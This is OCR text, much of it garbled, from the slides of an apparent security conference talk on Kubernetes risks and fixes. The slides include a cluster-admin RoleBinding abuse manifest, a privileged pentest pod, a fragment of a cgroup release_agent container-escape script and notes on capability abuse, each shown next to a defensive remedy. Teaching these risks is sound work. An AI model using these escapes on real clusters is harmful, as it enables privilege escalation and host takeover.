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KUBERNETES SECURITY

Varen in een zee vol gevaren




Agenda

* What is Kubernetes?
 Why is it so difficult?
* What can go wrong?

* How can we fix it?
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PAST ORCHESTRATION

Bare-Metal V|rtgal Containers Kubernetes
machines
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Multiple levels of fail

" o
kubernetes S acon

OX7EB




CULTURAL ISSUE

Measured for abilities
to deliver RELIABILITY

Measured for abilities
to deliver CHANGE

A

Z
)
wv
=)
CiS
i
O
)
w
(@)
&
=
<
=

ANMACON
OX7EB



Cluster

Deployment

pod pod

Init- Init- Init-
container container container

container container container

node?2

Ingress Service
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The network policies for a namespace allows application authors to restrict which pods
in other namespaces may access pods and ports within their namespaces. Many of the
supported Kubernetes networking providers now nemrork policy

Production clusters enable Kubelet authentication and authorization

The audit logger is a beta feature that records actions taken by the API for later analysis

IR o EERd sl eInli=MIt is recommended to enable audit logging and archive
the audit file on a secure server
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OPPORTUNITIES OF ATTACK

Data Store

Key

Data Flow
Trust Boundary

Machine Segregation

Process or Component

Data Store

USER

’
13. Image
‘

/

Image
Repository
Data Store

Image
Repository

2. validate
J Mutate
\ Deplovment//

1. Apply
Deployment

i/
12. Load Image
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etcD

2. Poll for current
J desired State

4. Manage replicas,
service accounts,
andpoints

| 6 Schedule
Pod

5. Poll for
New
Pod

- Poll for
New Pod

14. Image Manifest
+ Blobs

11. Get image

16. Poll for

services / endpoints
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8. Docker run
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THE EASY STUFF FIRST

'® SHODAN

1,600,464
L\

United States
‘Germany
Belgium
Ireland

Netherlands

SHODAN

3

Explore
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Explore

Downloads Pricing &2 x-kubernetes

Account
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Start small

Terminalizer

A1l rights ed.

features and impro

ts! https://aka.ms
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Credential sniffing

e Secrets in code
* GIT remembers, even if you don’t ©

 Build/release pipeline secrets
* Secrets in container images
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Images age

* App dependencies

* Installed software
* Minimal, remember? ©

e OS patches
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Rogue rep

ositories

Anonymous & ephemeral
Docker image registry

Free to use. No need to sign-up. Open source.

How to use ttl.sh

1. Tag your image with ttl.sh , a UUID, & time limit

(i.e. :2h)

2. Push your image

3. Pull your image (before it expires)

Anonymous

No login required. Image names
provide the initial secrecy for
access. Add a UUID to your
image name to reduce

discoverability

Ephemeral

Tmage tags provide the time
Timit. The default is 24 hours,
and the max is 24 hours (valid

time tags :5m, :1600s, 4, :1d)

Fast

Pulling images is really quick, so
it just works thanks to
Cloudflare. Even if you aren't

near us-east-1.
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Rogue images

@ dockerhub  Explore  Repositories  Organizations  Usage

Filters 1-25 of 10,000 results for redis.

() images

() Extensions
= Redis is the world's fastest data platform for caching, vector search, and NoSQL databases.
() Plugins

DATABASES & STORAGE

redis/redis-stack-server

redis-stack-server installs a Redis server with additional database capabilities

DATABASES & STORAGE  MONITORING & OBSERVABALITY  SECURITY
AP Management

Content Management System
redis/redis-stack

Data Science

Databases & Storage redis-stack installs a Redis server with additional database capabilities and the Redisinsight
DATASCHNCE  OATABASES § STORAGE  MESSAGE QUEUES

Developer Tools

Integration & Delivery

Internet Of Things
9t redis/redisinsight
Languages & Frameworks

Redis Insight - our best official GUI for Redis
Machine Learning & Al
OATABASES & STORAGE

Message Queues
Monitoring & Observability
() Networking bitnami/redis
Operating Systems
Bitnami container image for Redis

Securit
o DATABASES  STORAGE  MESSAGE QUELES  MOMITORING & OBSERVABLITY
Web Analytics

Web Servers

Pulls:

Pulls:

Pulls:

Pulls:

Pulls:

Best Match

10,713,085

239941

14,404

1,778,751

cflondonservices/redis

Docker image for running redis

tiredofit/redi

Docker Redis Server with S6 Initsystem and Zabbix Menitoring based on Alpine

danfengliu/redis

mydock365/redis

Redis with custom configurations

eilandert/redis

latest Redis on scratch/Ubuntu/Debian, daily rebuilds

dynomitedb/redis

Redis backend for Dynol

tutum/redis

Base docker image to run a Redis server



Mutating Object Validating

Api Admission Schema Admission
| Handler Auth Controller Validation Controller etcd
Api 1 ’
Request | @ @ . i
| /N
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Mutating
Webhook

Validating
Webhook



Validating admission policy (>=v1.30)

CEL Expression Check image registry Input m

1~ object.spec.template.spec.containers.all( 1 params:
2 container,container.image.startsWith( 'delencontainer.registry.com’) 2 allowedRegistries:
3 ) 3 - myregistry.com
4 4 - docker.io # use 'docker.io’ for Docker Hub
5 object:
6 apiversion: apps/vil
7 kind: Deployment
8 metadata:
9 name: nginx
1@ spec:
11 template:
12 metadata:
13 name: nginx
14 labels:
15 app: nginx
16 spec:
17 containers:
18 - name: nginx
19 image: delencontainer.registry.com/nginx # the expression looks for this field
20 selector:
21 matchLabels:
22 app: nginx




DoS with lego

@

-in
e N
- -

2PN

ANMACON
OX7EB















Fix: anti-affinity

1 apiVersion: apps/vl
2 kind: Deployment
3~ metadata:

4 name: web-server
5~ spec:

6~ selector:

7~ matchlLabels:

8 app: web-store

9 replicas: 3
18- template:

11 - metadata:

12~ labels:

13 app: web-store

14 ~ spec:

15~ affinity:

16~ podAntiAffinity:

17 - requiredDuringSchedulingIgnoredDuringExecution:

18~ - labelSelector:

19~ matchExpressions:

26 - - key: app

21 operator: In

23~ values: iz,
23 - web-store NAP
24 topologyKey: "kubernetes.io/hostname" R‘;
25~ contaliners: ‘K
26~ - name: web-app

27 image: nginx:1.16-alpine ,AgQgggN
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Default Kubernetes networking

* Internal — external: allow all

* Internal — internal: allow all (across namespaces)

e External — internal: allow all
o Although limited by ingress and services (type loadbalancer)
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@ Qutside Cluster +

Any e(ij*].:]point @ Outside Cluster +
10.2.1.0/24 — 15672 Any endpoint
{ } In Namespace + { In Namespace K { } In Namespace +
opencti opencti opencti
Ingress Egress 1
Any pod } E Degfaull Deny D:rault Deny E J ’- Any pod
type=connector — 15672 name=rabbitmgq
type=platform — 5672 .
L
“¢%s* In Cluster +
Everything in the cluster
.-.
‘25" In Cluster + Kubernetes DNS

Everything in the cluster
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RBAC

e Role vs ClusterRole

* RoleBinding vs ClusterRoleBinding binds role to a user, group,
serviceaccount

e Can | use a rolebinding to bind a ClusterRole to a namespace? Sure!

e Watch out with ez-RBAC

» “All serviceaccounts can view secrets and configmaps in this namespace”
* Risk = objects in namespace

ANMACON
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Attack: Gitops token abuse

AAAAAAA
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Attack: Gitops token abuse

* Devops team uses gitops  PPRp——
. 2 kind: ServiceAccount
* Devs use gitops g =todete:
name: infra-pwner
¢ G|t0p5 dldn’t use 2 Separate Z E_I;b:'_L‘-.I“er*Sic-n: rbac.authorization.kB8s.10/vl
serviceaccounts for deploying iy ki ClusterfoleBinding
resources W
11 apiGroup: rbac.authorization.k8s.io
12 kind: ClusterRole
13 name: cluster-admin
* FIX: 2 separate serviceaccounts B =t ot
16 name: infra-pwner
17 namespace: whateveryouhaveaccessto
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Attack: ServiceAccount token abuse

containers

* By default Kubernetes mounts serviceaccount tokens in the

diclophis comms

e Why? | |

Defaulting to automount: false seems like a huge win in terms of security

® &9

roberthbailey comment

Contributor

@diclophis - we all agree, but also want to keep our backwards compatibility guarantees.
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Fix: service account token hijacks

OX7EB



RBAC: secrets

* Secrets in k8s = base64 encoded config parameters
* So RBAC is our only hope ©

* RBAC verbs to be cautious of:
* |n case of secrets: “List” provides data, so list = [get,get,get,get]
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° ° ° | apiVersion: vl
Privileged container escapes Filk
4 ;:::j;:r—iu—e:-:ec—pn:nd
o . B app: pentest
» —-privileged == mount capabilities Lo

- name: priv-pod

) 2 dangerS: -' image: ubuntu
* Filesystem accessible via /dev o e

privileged: true

command: [ "/bin/sh™, "-c", "--" ]

args: [ "while true; do sleep 38; done;™ ]

e Cgroup notification on release feature: metasploit-
framework/modules/exploits/linux/local/docker privileged container escap
e.rb at master - rapid7/metasploit-framework (github.com)

ANMACON
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https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/docker_privileged_container_escape.rb
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/docker_privileged_container_escape.rb
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/docker_privileged_container_escape.rb

Filesystem access

Terminalizer

crosoft Corporation. All rights ved.

L)

nd improvements! https:

aka.ms /PSWindows
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Refresher from last year

A cgroup namespace is a Linux kernel feature that provides isolation of
cgroup hierarchies for processes running within a namespace.
Cgroups, short for control groups, are a kernel feature that allows
organizing processes into hierarchical groups to manage and enforce
limits on system resources like CPU, memory, and I/0.
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If the notify_on_release flag is enabled (1) in a cgroup, then whenever the last task in the
cgroup leaves (exits or attaches to some other cgroup) and the last child cgroup of that
cgroup is removed, then the kernel runs the command specified by the contents of the
"release_agent" file in that hierarchy's root directory, supplying the pathname (relative to
the mount point of the cgroup file system) of the abandoned cgroup. This enables
automatic removal of abandoned cgroups. The default value of notify_on_release in the
root cgroup at system boot is disabled (0). The default value of other cgroups at creation is
the current value of their parents' notify_on_release settings. The default value of a cgroup
hierarchy's release_agent path is empty.

kernel.org/doc/Documentation/cgroup-vl/cgroups.txt ANKACON



https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt

OUTPUT DI
MAX_PID=6
CGROUP NAME=
CGROUP_MOUNT=

PAYLOAD NAME=
PAYLOAD PATH= 'PAYLOAD NAME}"
OUTPUT _NAME= out”

OUTPUT PATH="%{ {OUTPUT_NAME}"

sleep 16888 &

cat » ${PAYLOAD PATH} <<
#!/binfsh

chmod a+x ${PAYLOAD PATH}
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mkdir j,“-'u-[v[GFtFII.IF’_I'~‘1|;'=|LII-JT'L
mount

y up ${CGROUP_MOUNT}
mkdir [ChRﬂUP rt‘lulLINT‘I ﬁL GROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/n

TPID=1
while [ !

-f ${OUTPUT_PATH} ]

if [ $((${TPID} % 100)) -eq © ]

id ${TPID}"
{MAX_PID} ]

${MAX_PID}

echo }/root${PAYLOAD PATH}" > ${CGROUP_MOUNT}
sh ‘echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_ NAME},
TPID=$((${TPID} + 1))

aone

sleep 1
echo "Done! L
cat ${OUTPUT_PATH}

' !l.’
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Terminalizer
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Once you escalate..

z
N ma
- L
~TN— <N
‘s, l{11l\ Mx
- - NO
g N <




More than just privileged

* Default set of CAPS:
cap_chown,cap_dac_override,cap_fowner,cap fsetid,cap_kill,cap setgid,cap_setuid,cap setpca
p,cap_net_bind_service,cap_net_raw,cap_sys chroot,cap_mknod,cap_audit_write,cap_setfcap=

ep
* Bypass file read permission checks and directory read and
execute permission checks

« CAP_DAC_OVERRIDE o /‘

* SYS_PTRACE + hostPID

* Inject shellcode in host processes

e SYS_MODULE

* Load own kernel module, run commands

 CAP_DAC_READ_SEARCH

« Same but for write on files it can see, so typically combined with READ_SEARCH ‘-‘K
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Fix: Drop all privs

* Pod Security Profiles -> admission control
* Pod Security Context -> actual settings

apiversion: vl
kind: Namespace
metadata:
name: my-baseline-namespace
labels:
pod-security. kubernetes.io/enforce: baseline
pod-security. kubernetes.io/enforce-version: latest
pod-security.kubernetes.io/warn: baseline
pod-security.kubernetes.iofwarn-version: latest

apiVersion: vl
kind: Namespace
metadata:

name: my-restricted-namespace

labels:
pod-security.kubernetes.iofenforce: restricted
pod-security.kubernetes.iofenforce-version: latest
pod-security.kubernetes.iofwarn: restricted
pod-security.kubernetes.io/warn-version: latest
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Deze partners hebben een @ voor ANNACON 0x7ES8.
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